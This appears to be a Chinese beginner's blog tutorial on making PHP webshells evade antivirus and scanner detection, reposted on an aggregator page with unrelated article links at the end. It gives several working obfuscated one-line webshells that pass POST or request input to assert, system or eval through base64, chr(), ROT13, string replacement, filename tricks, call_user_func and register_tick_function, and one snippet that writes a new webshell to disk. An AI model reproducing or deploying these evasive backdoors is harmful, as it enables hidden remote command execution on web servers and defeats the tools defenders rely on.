小白必看web专题!PHP-WebShell免杀(基础版)!!真的很简单!(全网最详细版本)

大家好,我是Dest1ny!

最近一直在搞辅导啥的,所以没啥时间搞写~

也谢谢大家一直的点赞,今天特意把之前的web专题再发一个。

废话不多说,我们直接开始!


CLASS-1 WebShell免杀测试


  • 渊龙Sec团队导航(上面啥都有): 渊龙Sec安全团队导航
  • 长亭牧云查杀: CT Stack 安全社区
  • 阿里云恶意文件检测平台:阿里云恶意文件检测平台
  • 阿里伏魔引擎: https://xz.aliyun.com/zues
  • VirusTotal: VirusTotal
  • 微步在线云沙箱: https://s.threatbook.com/
  • 河马WebShell查杀: SHELLPUB.COM在线查杀
  • 百度WEBDIR+: https://scanner.baidu.com/
  • D盾: D盾防火墙
  • 网站安全狗: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

这些就是我们检测自己写的webshell有没有免杀效果的网站!

CLASS-2 最简单的webshell

我们看一下我们最熟悉的webshell!

eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码

$_POST传参,将传参内容作为php代码执行

这就是最简单的一句话木马,但是我解释的这两个知识点恰好就是各大厂商主要去检测的地方。

就是高危函数和命令执行函数这两个部分。

那免杀本质就是通过代码混淆和变形去绕过检测规则。

CLASS-3 webshell免杀(编码)

base64解码(下划线利用)

<?php
$f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数
$f($_POST["Dest1ny"]);//assert($_POST["Dest1ny"]);
?>

通过将下划线包含在 Base64 字符串中并观察解码结果,可以判断系统的过滤机制。

但是这种局限性很大,要去一点一点测试过滤规则,万一不过滤下划线怎么办?

ASCII编码

道理一样,就是编码方式改变了

<?php
//ASCII编码解密后为assert高危函数
$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['Dest1ny']);                //assert($_POST['Dest1ny']);
?>

ROT13编码 

$f = str_rot13('flfgrz');  //解密后为system高危函数
$f($_POST['Dest1ny']);      //system($_POST['Dest1ny']);

CLASS-3 webshell免杀(拼接)

文件名与数组结合

<?php
function confusion($a){// 定义一个字符数组,用于转换数字到字符$s = ['a', 't', 's', 'y', 'm', 'e', '/'];$tmp = "";  // 用于存储转换后的结果// 当输入的数字大于10时进行循环处理while ($a > 10) {// 将当前数字模10的结果作为数组索引,拼接到结果字符串中$tmp .= $s[$a % 10];// 将数字除以10,为下一次循环做准备$a = $a / 10;}// 最后将剩余的数字对应的字符拼接到结果中return $tmp . $s[$a];
}// 从当前文件名中提取出最后10个字符中的6个字符,结果是'976534'(字符串)
$f = confusion(intval(substr(__FILE__, -10, 6))); // sysTem(高危函数)// 最终构建出一个高危函数的调用 sysTem,传入POST请求中的'Dest1ny'参数
$f($_POST['Dest1ny']); // sysTem($_POST['Dest1ny']);
?>

你们看,这个就很骚,先把文件名设置成数字,再通过数字和数组的结合去进行绕过免杀。

 

写入新文件绕过

这里先把system通过字符串替换构造了出来

再去拼接到一句话木马里,而且这里是把eval$_POST转换成evqrw$_yKST

 最后去把内容写入新文件

<?php
$hahaha = strtr("abatme","me","em");      //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy");       //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[Dest1ny])?>" > ./out.php',"qrwxyK","al(_PO");
$gogogo = 'echo "<?php eval(_POST[Dest1ny])?>" > ./out.php';
$wahaha($gogogo);  //将一句话木马内容写入同目录下的out.php中;
?>

CLASS-4 webshell免杀(参数绕过)

base64传参绕过

<?php
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>
  • 接收请求参数

    $decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b'];

    • 从 HTTP 请求中获取参数 ab
  • 处理参数 a

    $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs));

    • 使用 explode("|", $decrpt) 将参数 a| 符号分割,取第二部分(索引为 1)。
    • 对该部分进行 Base64 解码。
    • 解码后的结果再次使用 explode("|", ...) 进行分割,得到一个数组 $arrs
  • 处理参数 b

    $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt));

    • 对参数 b 进行相同的处理:分割并解码。
    • 结果存储在数组 $arrt 中。
  • 调用函数

    call_user_func($arrs[0], $arrt[0]);

    • 使用 call_user_func() 动态调用 $arrs 数组中的第一个元素所对应的函数,并将 $arrt 数组中的第一个元素作为参数传递。

到最后只要你传参是base64加密完的敏感函数就可以了

  • 这里 c3lzdGVt 是字符串 system 的 Base64 编码。
  • 这里 d2hvYW1p 是字符串 whoami 的 Base64 编码。

 

函数构造传参 

  • $f = $_REQUEST['f']; 从用户请求中获取一个名为 f 的参数,这个参数应该是一个函数名称(例如 system)。
  • declare(ticks=1); 设置一个 PHP 的指令块,每执行一条语句就触发一次注册的 tick 函数。
  • register_tick_function($f, $_REQUEST['aabyss']); 注册一个 tick 函数,这个 tick 函数会在每个 tick 时被调用。这里的 $f 是用户传入的函数名,而
  • $_REQUEST['aabyss'] 是该函数的参数。
<?php
$f = $_REQUEST['f'];
declare(ticks=1);
register_tick_function ($f, $_REQUEST['aabyss']); 
?>

那我们在$f传参中是system,不就构造好了吗!


今天就先这样吧,累累的哈哈哈

大家多多关注Dest1ny,现在已经300粉丝了!!!感谢大家!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/445322.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「Ubuntu」根目录存储空间不足

Linux系统不同于 Windows系统&#xff0c;复杂的文件系统常常让人头疼&#xff0c;特别是动不动就存储空间不足&#xff0c;简单的清空回收站根本不管用&#xff0c;在此推荐一个绝对好用的方法&#xff0c;并且还可以多学习一条 Linux命令 1、du 使用方法 通过使用命令 du&am…

Ubuntu24.04 安装 NCAR Command Language(NCL)

目录 一般直接在Terminal中使用apt安装命令即可&#xff0c; 出现这样的问题&#xff0c; 如何解决这个问题呢&#xff1f; 一般直接在Terminal中使用apt安装命令即可&#xff0c; sudo apt install ncl-ncarg 但是&#xff0c;由于 Ubuntu 版本较新 Ubuntu 24.04&#xff…

【Next.js 入门教程系列】07-身份验证

原文链接 CSDN 的排版/样式可能有问题&#xff0c;去我的博客查看原文系列吧&#xff0c;觉得有用的话&#xff0c; 给我的库点个star&#xff0c;关注一下吧 上一篇【Next.js 入门教程系列】06-上传文件 身份验证 本篇包括以下内容: Setting up Next AuthConfiguring the G…

基于Spring Boot的医疗病历交互系统开发指南

第2章 设计技术与开发环境 2.1 相关技术介绍 2.1.1 B/S模式分析 C/S模式主要由客户应用程序(Client)、服务器管理程序(Server)和中间件(middleware)三个部件组成。客户应用程序是系统中用户与数据组件交互。服务器程序负责系统资源&#xff0c;如管理信息数据库的有效管理&…

使用Docker搭建WAF-开源Web防火墙VeryNginx

1、说明 VeryNginx 基于 lua_nginx_module(openrestry) 开发,实现了防火墙、访问统计和其他的一些功能。 集成在 Nginx 中运行,扩展了 Nginx 本身的功能,并提供了友好的 Web 交互界面。 文章目录 1、说明1.1、基本概述1.2、主要功能1.3、应用场景2、拉取镜像3、配置文件4、…

kafka-manager修改zookeeper端口号后启动仍然连接2181端口

问题描述&#xff1a; zookeeper默认端口号修改为了2182&#xff0c;kafka-manager的配置文件application.conf中也已经修改了zkhosts为新的端口号&#xff0c;然而启动kafka-manger时报错连接连接超时&#xff0c;发现连接的还是2181端口&#xff0c;很奇怪&#xff1f;&…

【D3.js in Action 3 精译_029】3.5 给 D3 条形图加注图表标签(上)

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第一部分 D3.js 基础知识 第一章 D3.js 简介&#xff08;已完结&#xff09; 1.1 何为 D3.js&#xff1f;1.2 D3 生态系统——入门须知1.3 数据可视化最佳实践&#xff08;上&#xff09;1.3 数据可…

C++题 十进制转二进制

文章目录 1. 使用C20 std::format2. 使用 std::bitset 类3. 手动实现十进制到二进制的转换反过来&#xff0c;手动二进制到十进制 VisualStudio2022使用C&#xff0c;进行十进制到二进制的转换&#xff0c;常见的实现方式 1. 使用C20 std::format 需要将VisualStudio默认的标准…

Linux高阶——0928—Github本地仓库与云端仓库关联

1、安装代理软件 steam 选择Github和系统代理模式&#xff0c;一键加速即可 2、 安装Git 3、访问Github网站&#xff0c;创建新用户 4、Github探索 &#xff08;1&#xff09;Explore探索标签 &#xff08;2&#xff09;工程结构 用户名/仓库名 自述文件&#xff0c;用markdo…

【笔记】I/O总结王道强化视频笔记

文章目录 从中断控制器的角度来理解整个中断处理的过程复习 处理器的中断处理机制**中断驱动I/O方式** printf——从系统调用到I/O控制方式的具体实现1轮询方式下输出一个字符串(程序查询)中断驱动方式下输出一个字符串中断服务程序中断服务程序与设备驱动程序之间的关系 DMA方…

线性代数在大一计算机课程中的重要性

线性代数在大一计算机课程中的重要性 线性代数是一门研究向量空间、矩阵运算和线性变换的数学学科&#xff0c;在计算机科学中有着广泛的应用。大一的计算机课程中&#xff0c;线性代数的学习为学生们掌握许多计算机领域的关键概念打下了坚实的基础。本文将介绍线性代数的基本…

数据库——创立表和库

数据库&#xff08;Database&#xff09;是一个用于存储、管理和检索数据的系统。它可以组织结构化数据&#xff0c;支持高效的存取和操作。数据库通常由一个数据库管理系统&#xff08;DBMS&#xff09;来支持&#xff0c;常见的DBMS包括&#xff1a; 关系数据库&#xff08;R…

Java创建型模式(二)——工厂模式(简单工厂模式、工厂方法模式、抽象工厂模式、工厂模式扩展等完整详解,附有代码——案例)

文章目录 五.工厂模式5.1 概述5.2简单工厂模式5.2.1 概述5.2.2 结构5.2.3 实现5.2.4 优缺点5.2.5 扩展—静态工厂 5.3 工厂方法模式5.3.1概述5.3.2 结构5.3.3 实现5.3.4 优缺点 5.4 抽象工厂模式5.4.1 概述5.4.2 结构5.4.3 实现5.4.4 优缺点5.4.5 使用场景 5.5 工厂模式扩展 五…

R语言机器学习算法实战系列(三)lightGBM算法(Light Gradient Boosting Machine)

文章目录 介绍原理:应用方向:教程下载数据加载R包导入数据数据预处理数据描述数据切割设置数据对象调节参数训练模型预测测试数据评估模型模型准确性混淆矩阵模型评估指标ROC CurvePRC Curve特征的重要性模型SHAP值解释保存模型总结系统信息介绍 LightGBM(Light Gradient B…

MyBatis-Plus 之 typeHandler 的使用

一、typeHandler 的使用 1、存储json格式字段 如果字段需要存储为json格式&#xff0c;可以使用JacksonTypeHandler处理器。使用方式非常简单&#xff0c;如下所示&#xff1a; 在domain实体类里面要加上&#xff0c;两个注解 TableName(autoResultMap true) 表示自动…

腾讯云-云直播

云直播&#xff08;Cloud Streaming Services&#xff09;为您提供极速、稳定、专业的直播云端处理服务&#xff0c;根据业务中不同直播场景的需求&#xff0c;云直播提供标准直播、快直播、慢直播和云导播台服务&#xff0c;分别针对大规模实时观看、高并发推流录制及超低延时…

数学建模算法与应用 第11章 偏最小二乘回归及其方法

目录 11.1 偏最小二乘回归概述 11.2 Matlab 偏最小二乘回归命令 Matlab代码示例&#xff1a;偏最小二乘回归 11.3 案例分析&#xff1a;化学反应中的偏最小二乘回归 Matlab代码示例&#xff1a;光谱数据的PLS回归 习题 11 总结 偏最小二乘回归&#xff08;Partial Least …

如何加密重要U盘?U盘怎么加密保护?

在日常生活中&#xff0c;我们常常使用U盘来存储和传输重要文件。然而&#xff0c;U盘的便携性也意味着它容易丢失或被盗。为了保护U盘中的数据安全&#xff0c;我们需要对U盘进行加密。本文将为您介绍如何加密重要U盘&#xff0c;以及U盘加密保护的方法。 BitLocker BitLocke…

动态规划——多状态动态规划问题

目录 一、打家劫舍 二、打家劫舍 II 三、删除并获得点数 四、粉刷房子 五、买卖股票的最佳时机含冷冻期 六、买卖股票的最佳时机含手续费 七、买卖股票的最佳时机III 八、买卖股票的最佳时机IV 一、打家劫舍 打家劫舍 第一步&#xff1a;确定状态表示 当我们每次…

『Mysql进阶』Mysql SQL语句性能分析(七)

目录 什么是Profile&#xff1f; 开启Profile功能 基本使用 分析案例 什么是Profile&#xff1f; Query Profiler是 MySQL 自带的一种 Query 诊断分析工具 &#xff0c;通过它可以分析出一条 SQL 语句的 硬件性能瓶颈 在什么地方。 通常我们是使用的 explain &#xff0c;…